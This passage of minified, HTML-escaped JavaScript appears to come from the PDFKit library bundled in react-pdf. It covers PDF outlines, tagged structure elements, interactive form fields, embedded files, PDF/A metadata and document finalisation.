n=this.document._root.data.Pages.data.Kids,i=r.pageNumber!==null?n[r.pageNumber]:this.document.page.dictionary,s=new o8(this.document,this.dictionary,t,i,r);return this.children.push(s),s}endOutline(){if(this.children.length&gt;0){this.options.expanded&amp;&amp;(this.outlineData.Count=this.children.length);const t=this.children[0],r=this.children[this.children.length-1];this.outlineData.First=t.dictionary,this.outlineData.Last=r.dictionary;for(let n=0,i=this.children.length;n&lt;i;n++){const s=this.children[n];n&gt;0&amp;&amp;(s.outlineData.Prev=this.children[n-1].dictionary),n&lt;this.children.length-1&amp;&amp;(s.outlineData.Next=this.children[n+1].dictionary),s.endOutline()}}return this.dictionary.end()}}var p6e={initOutline(){return this.outline=new o8(this,null,null,null)},endOutline(){if(this.outline.endOutline(),this.outline.children.length&gt;0)return this._root.data.Outlines=this.outline.dictionary,this._root.data.PageMode=this._root.data.PageMode||&quot;UseOutlines&quot;}};class W5{constructor(t,r){this.refs=[{pageRef:t,mcid:r}]}push(t){t.refs.forEach(r=&gt;this.refs.push(r))}}class lm{constructor(t,r,n,i){n===void 0&amp;&amp;(n={}),i===void 0&amp;&amp;(i=null),this.document=t,this._attached=!1,this._ended=!1,this._flushed=!1,this.dictionary=t.ref({S:r});const s=this.dictionary.data;(Array.isArray(n)||this._isValidChild(n))&amp;&amp;(i=n,n={}),typeof n.title&lt;&quot;u&quot;&amp;&amp;(s.T=new String(n.title)),typeof n.lang&lt;&quot;u&quot;&amp;&amp;(s.Lang=new String(n.lang)),typeof n.alt&lt;&quot;u&quot;&amp;&amp;(s.Alt=new String(n.alt)),typeof n.expanded&lt;&quot;u&quot;&amp;&amp;(s.E=new String(n.expanded)),typeof n.actual&lt;&quot;u&quot;&amp;&amp;(s.ActualText=new String(n.actual)),this._children=[],i&amp;&amp;(Array.isArray(i)||(i=[i]),i.forEach(o=&gt;this.add(o)),this.end())}add(t){if(this._ended)throw new Error(&quot;Cannot add child to already-ended structure element&quot;);if(!this._isValidChild(t))throw new Error(&quot;Invalid structure element child&quot;);return t instanceof lm&amp;&amp;(t.setParent(this.dictionary),this._attached&amp;&amp;t.setAttached()),t instanceof W5&amp;&amp;this._addContentToParentTree(t),typeof t==&quot;function&quot;&amp;&amp;this._attached&amp;&amp;(t=this._contentForClosure(t)),this._children.push(t),this}_addContentToParentTree(t){t.refs.forEach(r=&gt;{let{pageRef:n,mcid:i}=r;const s=this.document.getStructParentTree().get(n.data.StructParents);s[i]=this.dictionary})}setParent(t){if(this.dictionary.data.P)throw new Error(&quot;Structure element added to more than one parent&quot;);this.dictionary.data.P=t,this._flush()}setAttached(){this._attached||(this._children.forEach((t,r)=&gt;{t instanceof lm&amp;&amp;t.setAttached(),typeof t==&quot;function&quot;&amp;&amp;(this._children[r]=this._contentForClosure(t))}),this._attached=!0,this._flush())}end(){this._ended||(this._children.filter(t=&gt;t instanceof lm).forEach(t=&gt;t.end()),this._ended=!0,this._flush())}_isValidChild(t){return t instanceof lm||t instanceof W5||typeof t==&quot;function&quot;}_contentForClosure(t){const r=this.document.markStructureContent(this.dictionary.data.S);return t(),this.document.endMarkedContent(),this._addContentToParentTree(r),r}_isFlushable(){return!this.dictionary.data.P||!this._ended?!1:this._children.every(t=&gt;typeof t==&quot;function&quot;?!1:t instanceof lm?t._isFlushable():!0)}_flush(){this._flushed||!this._isFlushable()||(this.dictionary.data.K=[],this._children.forEach(t=&gt;this._flushChild(t)),this.dictionary.end(),this._children=[],this.dictionary.data.K=null,this._flushed=!0)}_flushChild(t){t instanceof lm&amp;&amp;this.dictionary.data.K.push(t.dictionary),t instanceof W5&amp;&amp;t.refs.forEach(r=&gt;{let{pageRef:n,mcid:i}=r;this.dictionary.data.Pg||(this.dictionary.data.Pg=n),this.dictionary.data.Pg===n?this.dictionary.data.K.push(i):this.dictionary.data.K.push({Type:&quot;MCR&quot;,Pg:n,MCID:i})})}}class g6e extends nW{_compareKeys(t,r){return parseInt(t)-parseInt(r)}_keysName(){return&quot;Nums&quot;}_dataForKey(t){return parseInt(t)}}var A6e={initMarkings(e){this.structChildren=[],e.tagged&amp;&amp;(this.getMarkInfoDictionary().data.Marked=!0,this.getStructTreeRoot())},markContent(e,t){if(t===void 0&amp;&amp;(t=null),e===&quot;Artifact&quot;||t&amp;&amp;t.mcid){let n=0;for(this.page.markings.forEach(i=&gt;{(n||i.structContent||i.tag===&quot;Artifact&quot;)&amp;&amp;n++});n--;)this.endMarkedContent()}if(!t)return this.page.markings.push({tag:e}),this.addContent(`/${e} BMC`),this;this.page.markings.push({tag:e,options:t});const r={};return typeof t.mcid&lt;&quot;u&quot;&amp;&amp;(r.MCID=t.mcid),e===&quot;Artifact&quot;&amp;&amp;(typeof t.type==&quot;string&quot;&amp;&amp;(r.Type=t.type),Array.isArray(t.bbox)&amp;&amp;(r.BBox=[t.bbox[0],this.page.height-t.bbox[3],t.bbox[2],this.page.height-t.bbox[1]]),Array.isArray(t.attached)&amp;&amp;t.attached.every(n=&gt;typeof n==&quot;string&quot;)&amp;&amp;(r.Attached=t.attached)),e===&quot;Span&quot;&amp;&amp;(t.lang&amp;&amp;(r.Lang=new String(t.lang)),t.alt&amp;&amp;(r.Alt=new String(t.alt)),t.expanded&amp;&amp;(r.E=new String(t.expanded)),t.actual&amp;&amp;(r.ActualText=new String(t.actual))),this.addContent(`/${e} ${uu.convert(r)} BDC`),this},markStructureContent(e,t){t===void 0&amp;&amp;(t={});const r=this.getStructParentTree().get(this.page.structParentTreeKey),n=r.length;r.push(null),this.markContent(e,{...t,mcid:n});const i=new W5(this.page.dictionary,n);return this.page.markings.slice(-1)[0].structContent=i,i},endMarkedContent(){return this.page.markings.pop(),this.addContent(&quot;EMC&quot;),this},struct(e,t,r){return t===void 0&amp;&amp;(t={}),r===void 0&amp;&amp;(r=null),new lm(this,e,t,r)},addStructure(e){const t=this.getStructTreeRoot();return e.setParent(t),e.setAttached(),this.structChildren.push(e),t.data.K||(t.data.K=[]),t.data.K.push(e.dictionary),this},initPageMarkings(e){e.forEach(t=&gt;{if(t.structContent){const r=t.structContent,n=this.markStructureContent(t.tag,t.options);r.push(n),this.page.markings.slice(-1)[0].structContent=r}else this.markContent(t.tag,t.options)})},endPageMarkings(e){const t=e.markings;return t.forEach(()=&gt;e.write(&quot;EMC&quot;)),e.markings=[],t},getMarkInfoDictionary(){return this._root.data.MarkInfo||(this._root.data.MarkInfo=this.ref({})),this._root.data.MarkInfo},hasMarkInfoDictionary(){return!!this._root.data.MarkInfo},getStructTreeRoot(){return this._root.data.StructTreeRoot||(this._root.data.StructTreeRoot=this.ref({Type:&quot;StructTreeRoot&quot;,ParentTree:new g6e,ParentTreeNextKey:0})),this._root.data.StructTreeRoot},getStructParentTree(){return this.getStructTreeRoot().data.ParentTree},createStructParentTreeNextKey(){this.getMarkInfoDictionary();const e=this.getStructTreeRoot(),t=e.data.ParentTreeNextKey++;return e.data.ParentTree.add(t,[]),t},endMarkings(){const e=this._root.data.StructTreeRoot;e&amp;&amp;(e.end(),this.structChildren.forEach(t=&gt;t.end())),this._root.data.MarkInfo&amp;&amp;this._root.data.MarkInfo.end()}};const VP={readOnly:1,required:2,noExport:4,multiline:4096,password:8192,toggleToOffButton:16384,radioButton:32768,pushButton:65536,combo:131072,edit:262144,sort:524288,multiSelect:2097152,noSpell:4194304},WP={left:0,center:1,right:2},KP={value:&quot;V&quot;,defaultValue:&quot;DV&quot;},YP={zip:&quot;0&quot;,zipPlus4:&quot;1&quot;,zip4:&quot;1&quot;,phone:&quot;2&quot;,ssn:&quot;3&quot;},ZP={number:{nDec:0,sepComma:!1,negStyle:&quot;MinusBlack&quot;,currency:&quot;&quot;,currencyPrepend:!0},percent:{nDec:0,sepComma:!1}};var x6e={initForm(){if(!this._font)throw new Error(&quot;Must set a font before calling initForm method&quot;);this._acroform={fonts:{},defaultFont:this._font.name},this._acroform.fonts[this._font.id]=this._font.ref();let e={Fields:[],NeedAppearances:!0,DA:new String(`/${this._font.id} 0 Tf 0 g`),DR:{Font:{}}};e.DR.Font[this._font.id]=this._font.ref();const t=this.ref(e);return this._root.data.AcroForm=t,this},endAcroForm(){if(this._root.data.AcroForm){if(!Object.keys(this._acroform.fonts).length&amp;&amp;!this._acroform.defaultFont)throw new Error(&quot;No fonts specified for PDF form&quot;);let e=this._root.data.AcroForm.data.DR.Font;Object.keys(this._acroform.fonts).forEach(t=&gt;{e[t]=this._acroform.fonts[t]}),this._root.data.AcroForm.data.Fields.forEach(t=&gt;{this._endChild(t)}),this._root.data.AcroForm.end()}return this},_endChild(e){return Array.isArray(e.data.Kids)&amp;&amp;(e.data.Kids.forEach(t=&gt;{this._endChild(t)}),e.end()),this},formField(e,t){t===void 0&amp;&amp;(t={});let r=this._fieldDict(e,null,t),n=this.ref(r);return this._addToParent(n),n},formAnnotation(e,t,r,n,i,s,o){o===void 0&amp;&amp;(o={});let l=this._fieldDict(e,t,o);l.Subtype=&quot;Widget&quot;,l.F===void 0&amp;&amp;(l.F=4),this.annotate(r,n,i,s,l);let c=this.page.annotations[this.page.annotations.length-1];return this._addToParent(c)},formText(e,t,r,n,i,s){return s===void 0&amp;&amp;(s={}),this.formAnnotation(e,&quot;text&quot;,t,r,n,i,s)},formPushButton(e,t,r,n,i,s){return s===void 0&amp;&amp;(s={}),this.formAnnotation(e,&quot;pushButton&quot;,t,r,n,i,s)},formCombo(e,t,r,n,i,s){return s===void 0&amp;&amp;(s={}),this.formAnnotation(e,&quot;combo&quot;,t,r,n,i,s)},formList(e,t,r,n,i,s){return s===void 0&amp;&amp;(s={}),this.formAnnotation(e,&quot;list&quot;,t,r,n,i,s)},formRadioButton(e,t,r,n,i,s){return s===void 0&amp;&amp;(s={}),this.formAnnotation(e,&quot;radioButton&quot;,t,r,n,i,s)},formCheckbox(e,t,r,n,i,s){return s===void 0&amp;&amp;(s={}),this.formAnnotation(e,&quot;checkbox&quot;,t,r,n,i,s)},_addToParent(e){let t=e.data.Parent;return t?(t.data.Kids||(t.data.Kids=[]),t.data.Kids.push(e)):this._root.data.AcroForm.data.Fields.push(e),this},_fieldDict(e,t,r){if(r===void 0&amp;&amp;(r={}),!this._acroform)throw new Error(&quot;Call document.initForm() method before adding form elements to document&quot;);let n=Object.assign({},r);return t!==null&amp;&amp;(n=this._resolveType(t,r)),n=this._resolveFlags(n),n=this._resolveJustify(n),n=this._resolveFont(n),n=this._resolveStrings(n),n=this._resolveColors(n),n=this._resolveFormat(n),n.T=new String(e),n.parent&amp;&amp;(n.Parent=n.parent,delete n.parent),n},_resolveType(e,t){if(e===&quot;text&quot;)t.FT=&quot;Tx&quot;;else if(e===&quot;pushButton&quot;)t.FT=&quot;Btn&quot;,t.pushButton=!0;else if(e===&quot;radioButton&quot;)t.FT=&quot;Btn&quot;,t.radioButton=!0;else if(e===&quot;checkbox&quot;)t.FT=&quot;Btn&quot;;else if(e===&quot;combo&quot;)t.FT=&quot;Ch&quot;,t.combo=!0;else if(e===&quot;list&quot;)t.FT=&quot;Ch&quot;;else throw new Error(`Invalid form annotation type &#039;${e}&#039;`);return t},_resolveFormat(e){const t=e.format;if(t&amp;&amp;t.type){let r,n,i=&quot;&quot;;if(YP[t.type]!==void 0)r=&quot;AFSpecial_Keystroke&quot;,n=&quot;AFSpecial_Format&quot;,i=YP[t.type];else{let s=t.type.charAt(0).toUpperCase()+t.type.slice(1);if(r=`AF${s}_Keystroke`,n=`AF${s}_Format`,t.type===&quot;date&quot;)r+=&quot;Ex&quot;,i=String(t.param);else if(t.type===&quot;time&quot;)i=String(t.param);else if(t.type===&quot;number&quot;){let o=Object.assign({},ZP.number,t);i=String([String(o.nDec),o.sepComma?&quot;0&quot;:&quot;1&quot;,&#039;&quot;&#039;+o.negStyle+&#039;&quot;&#039;,&quot;null&quot;,&#039;&quot;&#039;+o.currency+&#039;&quot;&#039;,String(o.currencyPrepend)].join(&quot;,&quot;))}else if(t.type===&quot;percent&quot;){let o=Object.assign({},ZP.percent,t);i=String([String(o.nDec),o.sepComma?&quot;0&quot;:&quot;1&quot;].join(&quot;,&quot;))}}e.AA=e.AA?e.AA:{},e.AA.K={S:&quot;JavaScript&quot;,JS:new String(`${r}(${i});`)},e.AA.F={S:&quot;JavaScript&quot;,JS:new String(`${n}(${i});`)}}return delete e.format,e},_resolveColors(e){let t=this._normalizeColor(e.backgroundColor);return t&amp;&amp;(e.MK||(e.MK={}),e.MK.BG=t),t=this._normalizeColor(e.borderColor),t&amp;&amp;(e.MK||(e.MK={}),e.MK.BC=t),delete e.backgroundColor,delete e.borderColor,e},_resolveFlags(e){let t=0;return Object.keys(e).forEach(r=&gt;{VP[r]&amp;&amp;(e[r]&amp;&amp;(t|=VP[r]),delete e[r])}),t!==0&amp;&amp;(e.Ff=e.Ff?e.Ff:0,e.Ff|=t),e},_resolveJustify(e){let t=0;return e.align!==void 0&amp;&amp;(typeof WP[e.align]==&quot;number&quot;&amp;&amp;(t=WP[e.align]),delete e.align),t!==0&amp;&amp;(e.Q=t),e},_resolveFont(e){if(this._acroform.fonts[this._font.id]==null&amp;&amp;(this._acroform.fonts[this._font.id]=this._font.ref()),this._acroform.defaultFont!==this._font.name){e.DR={Font:{}};const t=e.fontSize||0;e.DR.Font[this._font.id]=this._font.ref(),e.DA=new String(`/${this._font.id} ${t} Tf 0 g`)}return e},_resolveStrings(e){let t=[];function r(n){if(Array.isArray(n))for(let i=0;i&lt;n.length;i++)typeof n[i]==&quot;string&quot;?t.push(new String(n[i])):t.push(n[i])}return r(e.Opt),e.select&amp;&amp;(r(e.select),delete e.select),t.length&amp;&amp;(e.Opt=t),Object.keys(KP).forEach(n=&gt;{e[n]!==void 0&amp;&amp;(e[KP[n]]=e[n],delete e[n])}),[&quot;V&quot;,&quot;DV&quot;].forEach(n=&gt;{typeof e[n]==&quot;string&quot;&amp;&amp;(e[n]=new String(e[n]))}),e.MK&amp;&amp;e.MK.CA&amp;&amp;(e.MK.CA=new String(e.MK.CA)),e.label&amp;&amp;(e.MK=e.MK?e.MK:{},e.MK.CA=new String(e.label),delete e.label),e}},v6e={file(e,t){t===void 0&amp;&amp;(t={}),t.name=t.name||e,t.relationship=t.relationship||&quot;Unspecified&quot;;const r={Type:&quot;EmbeddedFile&quot;,Params:{}};let n;if(!e)throw new Error(&quot;No src specified&quot;);if(kt.isBuffer(e))n=e;else if(e instanceof ArrayBuffer)n=kt.from(new Uint8Array(e));else{let d;if(d=/^data:(.*?);base64,(.*)$/.exec(e))d[1]&amp;&amp;(r.Subtype=d[1].replace(&quot;/&quot;,&quot;#2F&quot;)),n=kt.from(d[2],&quot;base64&quot;);else{if(n=Uw.readFileSync(e),!n)throw new Error(`Could not read contents of file at filepath ${e}`);const{birthtime:u,ctime:h}=Uw.statSync(e);r.Params.CreationDate=u,r.Params.ModDate=h}}t.creationDate instanceof Date&amp;&amp;(r.Params.CreationDate=t.creationDate),t.modifiedDate instanceof Date&amp;&amp;(r.Params.ModDate=t.modifiedDate),t.type&amp;&amp;(r.Subtype=t.type.replace(&quot;/&quot;,&quot;#2F&quot;));const i=dP.MD5(dP.lib.WordArray.create(new Uint8Array(n)));r.Params.CheckSum=new String(i),r.Params.Size=n.byteLength;let s;this._fileRegistry||(this._fileRegistry={});let o=this._fileRegistry[t.name];o&amp;&amp;y6e(r,o)?s=o.ref:(s=this.ref(r),s.end(n),this._fileRegistry[t.name]={...r,ref:s});const l={Type:&quot;Filespec&quot;,AFRelationship:t.relationship,F:new String(t.name),EF:{F:s},UF:new String(t.name)};t.description&amp;&amp;(l.Desc=new String(t.description));const c=this.ref(l);return c.end(),t.hidden||this.addNamedEmbeddedFile(t.name,c),this._root.data.AF?this._root.data.AF.push(c):this._root.data.AF=[c],c}};function y6e(e,t){return e.Subtype===t.Subtype&amp;&amp;e.Params.CheckSum.toString()===t.Params.CheckSum.toString()&amp;&amp;e.Params.Size===t.Params.Size&amp;&amp;e.Params.CreationDate.getTime()===t.Params.CreationDate.getTime()&amp;&amp;(e.Params.ModDate===void 0&amp;&amp;t.Params.ModDate===void 0||e.Params.ModDate.getTime()===t.Params.ModDate.getTime())}var b6e=&quot;/home/runner/work/react-pdf/react-pdf/packages/pdfkit/src/mixins&quot;,w6e={initPDFA(e){e.charAt(e.length-3)===&quot;-&quot;?(this.subset_conformance=e.charAt(e.length-1).toUpperCase(),this.subset=parseInt(e.charAt(e.length-2))):(this.subset_conformance=&quot;B&quot;,this.subset=parseInt(e.charAt(e.length-1)))},endSubset(){this._addPdfaMetadata(),this._addColorOutputIntent()},_addColorOutputIntent(){const e=Uw.readFileSync(`${b6e}/data/sRGB_IEC61966_2_1.icc`),t=this.ref({Length:e.length,N:3});t.write(e),t.end();const r=this.ref({Type:&quot;OutputIntent&quot;,S:&quot;GTS_PDFA1&quot;,Info:new String(&quot;sRGB IEC61966-2.1&quot;),OutputConditionIdentifier:new String(&quot;sRGB IEC61966-2.1&quot;),DestOutputProfile:t});r.end(),this._root.data.OutputIntents=[r]},_getPdfaid(){return`
        &lt;rdf:Description xmlns:pdfaid=&quot;http://www.aiim.org/pdfa/ns/id/&quot; rdf:about=&quot;&quot;&gt;
            &lt;pdfaid:part&gt;${this.subset}&lt;/pdfaid:part&gt;
            &lt;pdfaid:conformance&gt;${this.subset_conformance}&lt;/pdfaid:conformance&gt;
        &lt;/rdf:Description&gt;
        `},_addPdfaMetadata(){this.appendXML(this._getPdfaid())}},E6e={initPDFUA(){this.subset=1},endSubset(){this._addPdfuaMetadata()},_addPdfuaMetadata(){this.appendXML(this._getPdfuaid())},_getPdfuaid(){return`
        &lt;rdf:Description xmlns:pdfuaid=&quot;http://www.aiim.org/pdfua/ns/id/&quot; rdf:about=&quot;&quot;&gt;
            &lt;pdfuaid:part&gt;${this.subset}&lt;/pdfuaid:part&gt;
        &lt;/rdf:Description&gt;
        `}},C6e={_importSubset(e){Object.assign(this,e)},initSubset(e){switch(e.subset){case&quot;PDF/A-1&quot;:case&quot;PDF/A-1a&quot;:case&quot;PDF/A-1b&quot;:case&quot;PDF/A-2&quot;:case&quot;PDF/A-2a&quot;:case&quot;PDF/A-2b&quot;:case&quot;PDF/A-3&quot;:case&quot;PDF/A-3a&quot;:case&quot;PDF/A-3b&quot;:this._importSubset(w6e),this.initPDFA(e.subset);break;case&quot;PDF/UA&quot;:this._importSubset(E6e),this.initPDFUA();break}}};class I6e{constructor(){this._metadata=`
        &lt;?xpacket begin=&quot;\uFEFF&quot; id=&quot;W5M0MpCehiHzreSzNTczkc9d&quot;?&gt;
            &lt;x:xmpmeta xmlns:x=&quot;adobe:ns:meta/&quot;&gt;
                &lt;rdf:RDF xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
        `}_closeTags(){this._metadata=this._metadata.concat(`
                &lt;/rdf:RDF&gt;
            &lt;/x:xmpmeta&gt;
        &lt;?xpacket end=&quot;w&quot;?&gt;
        `)}append(t,r){r===void 0&amp;&amp;(r=!0),this._metadata=this._metadata.concat(t),r&amp;&amp;(this._metadata=this._metadata.concat(`
`))}getXML(){return this._metadata}getLength(){return this._metadata.length}end(){this._closeTags(),this._metadata=this._metadata.trim()}}var j6e={initMetadata(){this.metadata=new I6e},appendXML(e,t){t===void 0&amp;&amp;(t=!0),this.metadata.append(e,t)},_addInfo(){this.appendXML(`
        &lt;rdf:Description rdf:about=&quot;&quot; xmlns:xmp=&quot;http://ns.adobe.com/xap/1.0/&quot;&gt;
            &lt;xmp:CreateDate&gt;${this.info.CreationDate.toISOString().split(&quot;.&quot;)[0]+&quot;Z&quot;}&lt;/xmp:CreateDate&gt;
            &lt;xmp:CreatorTool&gt;${this.info.Creator}&lt;/xmp:CreatorTool&gt;
        &lt;/rdf:Description&gt;
        `),(this.info.Title||this.info.Author||this.info.Subject)&amp;&amp;(this.appendXML(`
            &lt;rdf:Description rdf:about=&quot;&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&gt;
            `),this.info.Title&amp;&amp;this.appendXML(`
                &lt;dc:title&gt;
                    &lt;rdf:Alt&gt;
                        &lt;rdf:li xml:lang=&quot;x-default&quot;&gt;${this.info.Title}&lt;/rdf:li&gt;
                    &lt;/rdf:Alt&gt;
                &lt;/dc:title&gt;
                `),this.info.Author&amp;&amp;this.appendXML(`
                &lt;dc:creator&gt;
                    &lt;rdf:Seq&gt;
                        &lt;rdf:li&gt;${this.info.Author}&lt;/rdf:li&gt;
                    &lt;/rdf:Seq&gt;
                &lt;/dc:creator&gt;
                `),this.info.Subject&amp;&amp;this.appendXML(`
                &lt;dc:description&gt;
                    &lt;rdf:Alt&gt;
                        &lt;rdf:li xml:lang=&quot;x-default&quot;&gt;${this.info.Subject}&lt;/rdf:li&gt;
                    &lt;/rdf:Alt&gt;
                &lt;/dc:description&gt;
                `),this.appendXML(`
            &lt;/rdf:Description&gt;
            `)),this.appendXML(`
        &lt;rdf:Description rdf:about=&quot;&quot; xmlns:pdf=&quot;http://ns.adobe.com/pdf/1.3/&quot;&gt;
            &lt;pdf:Producer&gt;${this.info.Creator}&lt;/pdf:Producer&gt;`,!1),this.info.Keywords&amp;&amp;this.appendXML(`
            &lt;pdf:Keywords&gt;${this.info.Keywords}&lt;/pdf:Keywords&gt;`,!1),this.appendXML(`
        &lt;/rdf:Description&gt;
        `)},endMetadata(){this._addInfo(),this.metadata.end(),this.version!=1.3&amp;&amp;(this.metadataRef=this.ref({length:this.metadata.getLength(),Type:&quot;Metadata&quot;,Subtype:&quot;XML&quot;}),this.metadataRef.compress=!1,this.metadataRef.write(kt.from(this.metadata.getXML(),&quot;utf-8&quot;)),this.metadataRef.end(),this._root.data.Metadata=this.metadataRef)}};class l8 extends GV.Readable{constructor(t){switch(t===void 0&amp;&amp;(t={}),super(t),this.options=t,t.pdfVersion){case&quot;1.4&quot;:this.version=1.4;break;case&quot;1.5&quot;:this.version=1.5;break;case&quot;1.6&quot;:this.version=1.6;break;case&quot;1.7&quot;:case&quot;1.7ext3&quot;:this.version=1.7;break;default:this.version=1.3;break}this.compress=this.options.compress!=null?this.options.compress:!0,this._pageBuffer=[],this._pageBufferStart=0,this._offsets=[],this._waiting=0,this._ended=!1,this._offset=0;const r=this.ref({Type:&quot;Pages&quot;,Count:0,Kids:[]}),n=this.ref({Dests:new V5});if(this._root=this.ref({Type:&quot;Catalog&quot;,Pages:r,Names:n}),this.options.lang&amp;&amp;(this._root.data.Lang=new String(this.options.lang)),this.page=null,this.initMetadata(),this.initColor(),this.initVector(),this.initFonts(t.font),this.initText(),this.initImages(),this.initOutline(),this.initMarkings(t),this.initSubset(t),this.info={Producer:&quot;PDFKit&quot;,Creator:&quot;PDFKit&quot;,CreationDate:new Date},this.options.info)for(let i in this.options.info){const s=this.options.info[i];this.info[i]=s}this.options.displayTitle&amp;&amp;(this._root.data.ViewerPreferences=this.ref({DisplayDocTitle:!0})),this._id=BNe.generateFileID(this.info),this._write(`%PDF-${this.version}`),this._write(&quot;%ÿÿÿÿ&quot;),this.options.autoFirstPage!==!1&amp;&amp;this.addPage()}addPage(t){t==null&amp;&amp;({options:t}=this),this.options.bufferPages||this.flushPages(),this.page=new NNe(this,t),this._pageBuffer.push(this.page);const r=this._root.data.Pages.data;return r.Kids.push(this.page.dictionary),r.Count++,this.x=this.page.margins.left,this.y=this.page.margins.top,this._ctm=[1,0,0,1,0,0],this.transform(1,0,0,-1,0,this.page.height),this.emit(&quot;pageAdded&quot;),this}continueOnNewPage(t){const r=this.endPageMarkings(this.page);return this.addPage(t??this.page._options),this.initPageMarkings(r),this}bufferedPageRange(){return{start:this._pageBufferStart,count:this._pageBuffer.length}}switchToPage(t){let r;if(!(r=this._pageBuffer[t-this._pageBufferStart]))throw new Error(`switchToPage(${t}) out of bounds, current buffer covers pages ${this._pageBufferStart} to ${this._pageBufferStart+this._pageBuffer.length-1}`);return this.page=r}flushPages(){const t=this._pageBuffer;this._pageBuffer=[],this._pageBufferStart+=t.length;for(let r of t)this.endPageMarkings(r),r.end()}addNamedDestination(t){for(var r=arguments.length,n=new Array(r&gt;1?r-1:0),i=1;i&lt;r;i++)n[i-1]=arguments[i];n.length===0&amp;&amp;(n=[&quot;XYZ&quot;,null,null,null]),n[0]===&quot;XYZ&quot;&amp;&amp;n[2]!==null&amp;&amp;(n[2]=this.page.height-n[2]),n.unshift(this.page.dictionary),this._root.data.Names.data.Dests.add(t,n)}addNamedEmbeddedFile(t,r){this._root.data.Names.data.EmbeddedFiles||(this._root.data.Names.data.EmbeddedFiles=new V5({limits:!1})),this._root.data.Names.data.EmbeddedFiles.add(t,r)}addNamedJavaScript(t,r){this._root.data.Names.data.JavaScript||(this._root.data.Names.data.JavaScript=new V5);let n={JS:new String(r),S:&quot;JavaScript&quot;};this._root.data.Names.data.JavaScript.add(t,n)}ref(t){const r=new rW(this,this._offsets.length+1,t);return this._offsets.push(null),this._waiting++,r}_read(){}_write(t){return kt.isBuffer(t)||(t=kt.from(t+`
`,&quot;binary&quot;)),this.push(t),this._offset+=t.length}addContent(t){return this.page.write(t),this}_refEnd(t){if(this._offsets[t.id-1]=t.offset,--this._waiting===0&amp;&amp;this._ended)return this._finalize(),this._ended=!1}end(){this.flushPages(),this._info=this.ref();for(let t in this.info){let r=this.info[t];typeof r==&quot;string&quot;&amp;&amp;(r=new String(r));let n=this.ref(r);n.end(),this._info.data[t]=n}this._info.end();for(let t in this._fontFamilies)this._fontFamilies[t].finalize();return this.endOutline(),this.endMarkings(),this.subset&amp;&amp;this.endSubset(),this.endMetadata(),this._root.end(),this._root.data.Pages.end(),this._root.data.Names.end(),this.endAcroForm(),this._root.data.ViewerPreferences&amp;&amp;this._root.data.ViewerPreferences.end(),this._security&amp;&amp;this._security.end(),this._waiting===0?this._finalize():this._ended=!0}_finalize(){const t=this._offset;this._write(&quot;xref&quot;),this._write(`0 ${this._offsets.length+1}`),this._write(&quot;0000000000 65535 f &quot;);for(let n of this._offsets)n=`0000000000${n}`.slice(-10),this._write(n+&quot; 00000 n &quot;);const r={Size:this._offsets.length+1,Root:this._root,Info:this._info,ID:[this._id,this._id]};return this._security&amp;&amp;(r.Encrypt=this._security.dictionary),this._write(&quot;trailer&quot;),this._write(uu.convert(r)),this._write(&quot;startxref&quot;),this._write(`${t}`),this._write(&quot;%%EOF&quot;),this.push(null)}toString(){return&quot;[object PDFDocument]&quot;}}const u0=e=&gt;{Object.assign(l8.prototype,e)};u0(j6e);u0(MNe);u0(KNe);u0(o6e);u0(l6e);u0(h6e);u0(m6e);u0(p6e);u0(A6e);u0(x6e);u0(v6e);u0(C6e);l8.LineWrapper=ZN;const N6e=[&quot;Courier&quot;,&quot;Courier-Bold&quot;,&quot;Courier-Oblique&quot;,&quot;Courier-BoldOblique&quot;,&quot;Helvetica&quot;,&quot;Helvetica-Bold&quot;,&quot;Helvetica-Oblique&quot;,&quot;Helvetica-BoldOblique&quot;,&quot;Times-Roman&quot;,&quot;Times-Bold&quot;,&quot;Times-Italic&quot;,&quot;Times-BoldItalic&quot;];class S6e{name;src;fullName;familyName;subfamilyName;postscriptName;copyright;version;underlinePosition;underlineThickness;italicAngle;bbox;&quot;OS/2&quot;;hhea;numGlyphs;characterSet;availableFeatures;type;constructor(t){this.name=t,this.fullName=t,this.familyName=t,this.subfamilyName=t,this.type=&quot;STANDARD&quot;,this.postscriptName=t,this.availableFeatures=[],this.copyright=&quot;&quot;,this.version=1,this.underlinePosition=-100,this.underlineThickness=50,this.italicAngle=0,this.bbox={},this[&quot;OS/2&quot;]={},this.hhea={},this.numGlyphs=0,this.characterSet=[],this.src=SE.open(null,t)}encode(t){return this.src.encode(t)}layout(t){const[r,n]=this.encode(t),i=r.map((o,l)=&gt;{const c=this.getGlyph(parseInt(o,16));return c.advanceWidth=n[l].advanceWidth,c}),s=n.reduce((o,l)=&gt;o+l.advanceWidth,0);return{positions:n,stringIndices:n.map((o,l)=&gt;l),glyphs:i,script:&quot;latin&quot;,language:&quot;dflt&quot;,direction:&quot;ltr&quot;,features:{},advanceWidth:s,advanceHeight:0,bbox:void 0}}glyphForCodePoint(t){const r=this.getGlyph(t);return r.advanceWidth=400,r}getGlyph(t){return{id:t,codePoints:[t],isLigature:!1,name:this.src.font.characterToGlyph(t),_font:this.src,advanceWidth:void 0}}hasGlyphForCodePoint(t){return this.src.font.characterToGlyph(t)!==&quot;.notdef&quot;}get ascent(){return 900}get capHeight(){switch(this.name){case&quot;Times-Roman&quot;:case&quot;Times-Bold&quot;:case&quot;Times-Italic&quot;:case&quot;Times-BoldItalic&quot;:return 650;case&quot;Courier&quot;:case&quot;Courier-Bold&quot;:case&quot;Courier-Oblique&quot;:case&quot;Courier-BoldOblique&quot;:return 550;default:return 690}}get xHeight(){switch(this.name){case&quot;Times-Roman&quot;:case&quot;Times-Bold&quot;:case&quot;Times-Italic&quot;:case&quot;Times-BoldItalic&quot;:return 440;case&quot;Courier&quot;:case&quot;Courier-Bold&quot;:case&quot;Courier-Oblique&quot;:case&quot;Courier-BoldOblique&quot;:return 390;default:return 490}}get descent(){switch(this.name){case&quot;Times-Roman&quot;:case&quot;Times-Bold&quot;:case&quot;Times-Italic&quot;:case&quot;Times-BoldItalic&quot;:return-220;case&quot;Courier&quot;:case&quot;Courier-Bold&quot;:case&quot;Courier-Oblique&quot;:case&quot;Courier-BoldOblique&quot;:return-230;default:return-200}}get lineGap(){return 0}get unitsPerEm(){return 1e3}stringsForGlyph(){throw new Error(&quot;Method not implemented.&quot;)}glyphsForString(){throw new Error(&quot;Method not implemented.&quot;)}widthOfGlyph(){throw new Error(&quot;Method not implemented.&quot;)}getAvailableFeatures(){throw new Error(&quot;Method not implemented.&quot;)}createSubset(){throw new Error(&quot;Method not implemented.&quot;)}getVariation(){throw 